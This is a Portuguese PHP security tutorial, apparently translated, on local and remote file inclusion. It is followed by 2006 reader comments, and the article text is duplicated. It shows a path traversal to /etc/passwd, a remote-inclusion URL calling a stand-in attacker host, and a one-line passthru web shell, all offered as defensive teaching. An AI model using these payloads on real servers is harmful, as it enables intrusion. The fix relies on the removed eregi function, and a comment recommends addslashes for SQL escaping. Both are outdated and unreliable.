Principais Falhas de Segurança em PHP
Arquivos Include
----------------
A maioria das pessoas não quer ter o site inteiro em um único arquivo '.php' e isso é bem aceitável em relação a questões de organização e de atualização de código, então geralmente usam vários arquivos separados. Dessa forma pode-se fazer por exemplo um cabeçalho e um rodapé mais facilmente.
Considere este exemplo:
Deste modo, é possível colocar conteúdos específicos em arquivos separados. Ex: about.php, download.php, e o link para essas paginas seriam algo como: index.php?page=about, index.php?page=downloads.php
Existem dois problemas em relação a isso...
Se alguém chama a página dessa forma index.php?page =.. /.. /.. /.. /.. /.. /.. /etc/passwd
Dessa forma seu arquivo de senhas fica vulnerável para ser visualizado, ou qualquer outro arquivo que esta rodando sob o php (httpd ou apache normalmente), pode ser lido por qualquer usuário.
O outro problema é se 'URL Wrapper' estiver on (como ele é por padrão), então alguém pode fazer um upload de um arquivo para um outro webserver
Outro exemplo...
Então..
Coloque na url: index.php?page=http://evilbastard.com/hax0r.txt&cmd=whoami e poderá então rodar qualquer comando em seu servidor ou poderá mostrar detalhes da sua conexão com o banco de dados, basicamente rodar qualquer código php em seu servidor. A função include pega um arquivo de um servidor, e então executa isso como um código php, algo que é obviamente muito perigoso.
Um método seguro de incluir arquivos seria como o abaixo:
Então o link: index.php?page=about (assumiria about.php dentro do diretório 'includes')
Se você sabe que o arquivo que será incluído não conte código php e sim apenas texto, então pode ser melhor usar readfile() ao invez de include()/require(), pois ambos irão executar qualquer código php que eles encontrarem algo que o readifle não irá.
Usando um diretório separado para incluir arquivos, pode ser ótimo como uma forma de parar urls do tipo: "includes/http://blah.com/lala.txt" que não irá funcionar. Isso não é realmente necessário se um utilizar um ereg como filtro nas urls.
Algumas pessoas nomeiam os arquivos que serão incluídos com a extensão '.inc', isso é muito perigoso, pois .'inc' não é interpretado como um código php pelo webserver e será visualizável no navegador como um texto na pagina. Isso parece algo banal, mas infelizmente muitos usam arquivos do tipo 'config.inc' que contem senhas de banco de dados etc, algo que torna o sistema muito inseguro..
Arquivos que serão incluídos devem ter a extensão .php, pode ser exemplo.inc.php se você realmente quer que o nome contenha '.inc', algo que eu acho desnecessário.
Você deve mantê-los fora do diretório root por uma pequena questão adicional de segurança
----------------
A maioria das pessoas não quer ter o site inteiro em um único arquivo '.php' e isso é bem aceitável em relação a questões de organização e de atualização de código, então geralmente usam vários arquivos separados. Dessa forma pode-se fazer por exemplo um cabeçalho e um rodapé mais facilmente.
Considere este exemplo:
<?php //aqui ficaria o cabeçalho $page = $_GET['page']; include($page); //aqui ficaria o rodapé ?>
Deste modo, é possível colocar conteúdos específicos em arquivos separados. Ex: about.php, download.php, e o link para essas paginas seriam algo como: index.php?page=about, index.php?page=downloads.php
Existem dois problemas em relação a isso...
Se alguém chama a página dessa forma index.php?page =.. /.. /.. /.. /.. /.. /.. /etc/passwd
Dessa forma seu arquivo de senhas fica vulnerável para ser visualizado, ou qualquer outro arquivo que esta rodando sob o php (httpd ou apache normalmente), pode ser lido por qualquer usuário.
O outro problema é se 'URL Wrapper' estiver on (como ele é por padrão), então alguém pode fazer um upload de um arquivo para um outro webserver
Outro exemplo...
<?php passthru($_GET['cmd']); ?>
Então..
Coloque na url: index.php?page=http://evilbastard.com/hax0r.txt&cmd=whoami e poderá então rodar qualquer comando em seu servidor ou poderá mostrar detalhes da sua conexão com o banco de dados, basicamente rodar qualquer código php em seu servidor. A função include pega um arquivo de um servidor, e então executa isso como um código php, algo que é obviamente muito perigoso.
Um método seguro de incluir arquivos seria como o abaixo:
<?php //cabeçalho do site $page = $_GET['page']; //para ter certeza que $page é alfanumérico. if(eregi("^[a-z0-9\-_\.]+$", $page, $regs)) { $dir = "includes/"; //pode ser branco $ext = ".php"; //.php, .html, .txt, whatever if(file_exists($dir . $page . $ext)) { include($dir . $page . $ext); //ou outro tipo de extensão se não for necessariamente um arquivo .php } else { echo '404 - Not Found'; //ou algo similar } } else { echo 'Naughty Naughty, very Naughty.'; /rodapé do site } ?>
Então o link: index.php?page=about (assumiria about.php dentro do diretório 'includes')
Se você sabe que o arquivo que será incluído não conte código php e sim apenas texto, então pode ser melhor usar readfile() ao invez de include()/require(), pois ambos irão executar qualquer código php que eles encontrarem algo que o readifle não irá.
Usando um diretório separado para incluir arquivos, pode ser ótimo como uma forma de parar urls do tipo: "includes/http://blah.com/lala.txt" que não irá funcionar. Isso não é realmente necessário se um utilizar um ereg como filtro nas urls.
Algumas pessoas nomeiam os arquivos que serão incluídos com a extensão '.inc', isso é muito perigoso, pois .'inc' não é interpretado como um código php pelo webserver e será visualizável no navegador como um texto na pagina. Isso parece algo banal, mas infelizmente muitos usam arquivos do tipo 'config.inc' que contem senhas de banco de dados etc, algo que torna o sistema muito inseguro..
Arquivos que serão incluídos devem ter a extensão .php, pode ser exemplo.inc.php se você realmente quer que o nome contenha '.inc', algo que eu acho desnecessário.
Você deve mantê-los fora do diretório root por uma pequena questão adicional de segurança
Valeu pelo toque. Vou prestar mais atenção nesses detalhes.
26/10/2006 4:06pm
(~18 anos atrás)
Falhas ou Não, é necessário estár atendo as possíveis invasões... de qualquer forma o artigo é muito bom, parabéns!!!
15/09/2006 5:23am
(~18 anos atrás)
Ok, se você não conhece outros DB, não deveria ter tanta propriedade em desmerecê-los em favor do MySql que é muito mais limitado - inclusive quanto à segurança de banco e não aplicação - que os grandes de mercado. Há muitas funcionalidades disponíveis em outros DB que não se encontram no Mysql e que os DBAs necessitam
06/07/2006 5:41pm
(~18 anos atrás)
Não é falhas de seguranca do PHP, acho que você leu errado não?
E sim falhas de segurança "em" PHP
abraços
E sim falhas de segurança "em" PHP
abraços
29/06/2006 2:18pm
(~18 anos atrás)
Eu não concordo quando diz falhas de seguranca do PHP.
Acho que existem falhas de seguranca do programador. O PHP por facilitar muito as coisas, permite que os programadores facam muitas besteiras.
[]s
adler medrado
www.neshertech.net
adler.neshertech.net
Acho que existem falhas de seguranca do programador. O PHP por facilitar muito as coisas, permite que os programadores facam muitas besteiras.
[]s
adler medrado
www.neshertech.net
adler.neshertech.net
25/06/2006 7:34am
(~18 anos atrás)
Cara!
confesso que muita coisa que vc falou, eu já deu mole!!
muito obrigado pelas dicas!!
abraços!!
confesso que muita coisa que vc falou, eu já deu mole!!
muito obrigado pelas dicas!!
abraços!!
12/06/2006 4:13am
(~18 anos atrás)
Como o artigo não é seu, somente a tradução, congratulo-o pela iniciativa.
21/05/2006 8:30pm
(~18 anos atrás)
Primeiramente OTIMO artigo. Eu sou bem novato em php e este artigo vei muito bem a calhar.
No caso de tratamento de query diretamente tambem poderia ser utilizado:
$login = isset($_POST["login"]) ? addslashes(trim($_POST["login"])) : FALSE;
Desta forma todos os dados escapados como aspas simpes(') e aspas duplas(") seria vistos com caracteres normais.
Prontinho minha contribuicao.
Abraco
No caso de tratamento de query diretamente tambem poderia ser utilizado:
$login = isset($_POST["login"]) ? addslashes(trim($_POST["login"])) : FALSE;
Desta forma todos os dados escapados como aspas simpes(') e aspas duplas(") seria vistos com caracteres normais.
Prontinho minha contribuicao.
Abraco
07/05/2006 6:11pm
(~18 anos atrás)
Realmente alguns são bons programadores, porém acabam se esquecendo de um fator importante: segurança. Apenas um deslize poderá ser fatal um dia... Parabéns pelo artigo :-)
29/04/2006 5:47pm
(~18 anos atrás)